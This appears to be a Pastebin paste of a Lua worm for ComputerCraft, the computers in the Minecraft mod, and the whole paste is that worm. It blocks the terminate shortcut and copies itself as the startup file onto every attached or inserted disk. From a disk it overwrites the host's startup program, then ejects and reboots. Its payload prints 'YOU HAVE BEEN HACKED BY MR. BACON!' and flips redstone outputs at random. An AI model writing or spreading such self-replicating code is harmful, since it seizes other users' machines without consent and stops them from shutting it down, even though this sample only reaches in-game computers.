Advertisement
Guest User

Untitled

a guest
Nov 25th, 2014
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.61 KB | None | 0 0
  1. os.pullEvent = os.pullEventRaw
  2.  
  3. tSides = {"front", "back","left","right","top","bottom"}
  4.  
  5. function payload()
  6. print("YOU HAVE BEEN HACKED BY MR. BACON!")
  7. iRand = math.random( 1, #tSides )
  8. bOn = true
  9. if (math.random( 1, 2 ) == 1) then bOn = false end
  10. rs.setOutput(tSides[iRand],bOn)
  11. return false
  12. end
  13.  
  14.  
  15. if shell.resolve( "." )=="" then
  16.  
  17. for index,value in ipairs(tSides) do
  18. if disk.getMountPath(value) then
  19. shell.run("cp", "startup", disk.getMountPath(value) .. "/startup" )
  20. end
  21. end
  22. bExit = false
  23. while not bExit do
  24. bExit = payload()
  25. event, param = os.pullEvent()
  26. if event == "key" and param == 41 then
  27. bExit = true
  28. elseif event == "disk" then
  29. shell.run("cp", "startup", disk.getMountPath(param) .. "/startup" )
  30. end
  31. end
  32. shell.run("/startup2")
  33. else
  34.  
  35.  
  36. if not(fs.exists(shell.resolve("../startup2"))) then
  37. shell.run("cp", "../startup", "../startup2" )
  38. end
  39.  
  40. shell.run("cp", "startup", "../startup" )
  41.  
  42. for index,value in ipairs(tSides) do
  43. if disk.getMountPath( value ) == shell.resolve(".") then
  44. disk.eject(value)
  45. os.reboot()
  46. end
  47. end
  48. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement